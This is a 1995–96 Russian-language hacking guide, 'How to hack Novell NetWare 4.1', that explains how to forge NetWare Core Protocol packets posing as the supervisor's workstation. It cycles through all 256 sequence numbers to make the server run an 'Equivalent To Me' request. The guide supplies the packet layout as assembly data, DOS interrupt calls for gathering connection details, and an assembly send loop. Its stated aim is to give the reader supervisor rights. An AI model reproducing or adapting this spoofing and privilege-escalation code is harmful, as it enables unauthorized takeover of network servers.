Russian
LinkExchange Banner Network
Russian LinkExchange Member
                    КАК ВЗЛОМАТЬ NOVELL NETWARE 4.1
                    -------------------------------


                     Гусев Игорь и Ильченко Евгений



                                  1996


                               Содержание


Введение...............................................................3
1.Принцип обмена пакетами..............................................4
2.Общая идея взлома....................................................4
3.Как получить права супервизора.......................................5
4.Последствия..........................................................7
Заключение............................................................10


                                Введение



   Как вы знаете все может быть сломано и NOVELL NETWARE не является ис-
ключением. Однако время взлома чего-нибудь зависит от времени  получения
информации о этом. Чем больше информации вы найдете, тем проще  вам  бу-
дет взламывать.
   В этом документе мы хотели немного рассказать о сети  NOVELL  и  о
том как ее взломать.

                       1.Принцип обмена пакетами.

   Прежде всего, сервер и рабочие станции посылают пакеты друг  другу  в
соответствие  со  специальным  протоколом  известным  как  Netware  Core
Protocol ( NCP ) основанным на протоколе IPX. Все  пакеты  подписываются
уникальным номером в диапозоне от 0 до 255  хранящемся  в  одном  байте.
Это поле известно как Sequence  Number. Смотрите на структуру пакета.


                            Структура пакета

     Поле       Число     Положение                азначение
                байт      в памяти

-------------------- Физический заголовок пакета -----------------------

ReceiverAddress     6      Normal    Адрес рабочей станции , которая бу-
                                     дет получать пакет
SenderAddress       6      Normal    Адрес рабочей станции , которая по-
                                     сылает пакет
DataLength          2     High-Low   Длина пакета

----------------------- Заголовок протокола IPX ------------------------
CheckSum            2      Normal    Контрольная сумма
IpxLength           2     High-Low   Длина пакета
HopCount            1        -       Число мостов
PacketType          1        -       Тип пакета
DestNetwork         4      Normal    Адрес сети назначения
DestNode            6      Normal    Адрес станции назначения
DestSocket          2     Low-High   Сокет программы назначения
SourceNetwork       4      Normal    Адрес сети источника
SourceNode          6      Normal    Адрес станции источника
SourceSocket        2     Low-High   Сокет программы источника

---------------------- Заголовок протокола NCP -------------------------
RequestType         2     Low-High   Зависит от запроса
SequenceNumber      1        -       омер пакета
ConectionNumberLow  1        -       омер соединения.азначается во
                                     время подсоединения станции к сер-
                                     веру
TaskNumber          1        -       омер задачи.Это для рабочей стан-
                                     ции наверно. е стоит о нем заботи-
                                     ться.Просто поставте 0 или любое
                                     значение.
ConectionNumberHigh 1        -       Всегда 0.
FunctionCode        1        -       Идентификатор функции

------------------------ Данные протокола NCP -------------------------
       -            -        -       Зависит от типа запроса и функции


 Инициатором является станция. Она посылает пакет с запросом и ждет  от-
вета. Сервер получая запрос, проверяет адрес станции , адрес сети ,  со-
кет , номер соединения и sequence  number.  Если  что-нибудь не в порядке
сервер отказывается выполнять запрашиваемую операцию и посылать ответ.

                          2.Общая идея взлома.

    Как было сказано выше сервер проверяет все пакеты, которые он  полу-
чает. о если сформировать пакет как это делает другая станция,  поста-
вить ее адрес, номер соединения и т.д. и послать его в сеть, то  сервер
никогда не узнает чей запрос он выполняет. Основная трудность -  sequence
number, потому что другие поля могут быть  получены  с  помощью  обычных
функций. Чтобы быть уверенным, что сервер выполнил операцию  нужно  пос-
лать тот же самый пакет 255 раз с разными sequens numbers.

                    3.Как получить права супервизора

    Вы можете получить права супервизора просто став его  эквиваленитом.
Есть функция известная как EQUEVALENT TO ME , которую  следует  посылать
от имени супервизора. Смотрите на структуру пакета.

              Структура пакета с фукцией EQUEVALENT TO ME

--------------------- Заголовок физического пакета ---------------------
RecAdr                db 00,20h,0afh,4fh,5fh,0ah
SndAdr                db 00,20h,0afh,089h,022h,0afh
DataLength            db 01,68h
------------------------- Заголовок IPX пакета -------------------------
                      dw 0ffffh
IpxLength             db 01,67h
                      db 0
                      db 17
DestNetwork           db ?,?,?,?
DestNode              db ?,?,?,?,?,?
DestSocket            db 04,51h
SourceNetWork         db 00,00,01,02
SourceNode            db ?,?,?,?,?,?
SourceSocket          db 40h,03
------------------------ Заголовок пакета NCP -------------------------
                      db 22h,22h
SequenceNumber        db 48
ConnectionNumberLow   db 24
                      db 4
                      db 0
                      db 68h
                      db 2
-------------------------- Данные пакета NCP --------------------------
                      dd -1
                      dd 514
S1_2:                 dd offset S1_1 - offset S1_2-4
                      dd 0
                      dd 9
                      dd 0
                      dd 0
                      dd 0
S1ID                  db 67h,02h,00,06h
                      dd 1
                      dd 5
                      dd 34
                      db 'E',0,'q',0,'u',0,'i',0,'v',0,'a',0,'l',0,'e',0
                      db 'n',0,'t',0,' ',0,'T',0,'o',0,' ',0,'M',0,'e',0
                      dd 0
                      dd 1
                      dd 26
                      db '3',0,'1',0,'0',0,'5',0,'.',0,'I',0,'N',0,'F',0
                      db '.',0,'T',0,'S',0,'U',0

S1_1:


   Чтобы получить адрес, сеть, сокет, ID, номер соединения  используй-
те след. функции.


                       Получить номер соединения
  ah=E3h
  ds:si=> ConReq
            dw 2           - длина
            db 16h         - подфункция
            db ?           - номер соединения
  es:di=> ConRep
            dw 62          - длина
            db 4 dup (?)
            dw ?           - тип пользователя
            db 56 duo (?)  - имя пользователя
  int 21h

    Вы можете послать пакет через IPX драйвер (функция 9), однако в этом
случае вы не имеете доступа к физическому заголовку пакета. Мы полагаем,
что сервер не проверяет адрес отправителя там.
    Вы также можете послать через LSL драйвер, но это слишком сложно.
    Самый простой способ - послать через ODIPKT драйвер ( функция 4 ).

                       Послать пакет через Odipkt

      ah=4
      cx=длина
      ds:si=>пакет
      int 60h
      C=1 если ошибка


                       Процедура посылки пакетов

Send            proc
                mov SequenceNumber,0
@@1:            push ds
                push es
                mov ah,4
                mov cx,Length
                mov si,offset Packet
                int 60h
                pop es
                pop ds
                jc @@1
                mov cx,1000
                loop $-2
                dec SequenceNumber
                jne @@1
                ret
Send            endp

                             4.Последствия.

    После ответа на пакет сервер ждет  следующего  с  увеличенным  на  1
sequence number"ом. Если вы попытаетесь вставить ваш пакет в работу меж-
ду сервером и станцией, последняя повиснет. Этого можно  избежать посыл-
кой еще 255*256 пакетов.

                               Заключение

    Если вы реализуете программу по этому документу у вас будут  права
супервизора. Мы надеемся, что вы не будете вредить  таким же  пользовате-
лям, каким вы до этого были.

Copyright 1995. by dISEr&_Igor_        (http://www.tsu.tomsk.su/~eugene/)
Все комментарии, предожения, вопросы шлите по адресу :
   eugene@info.tsu.tomsk.su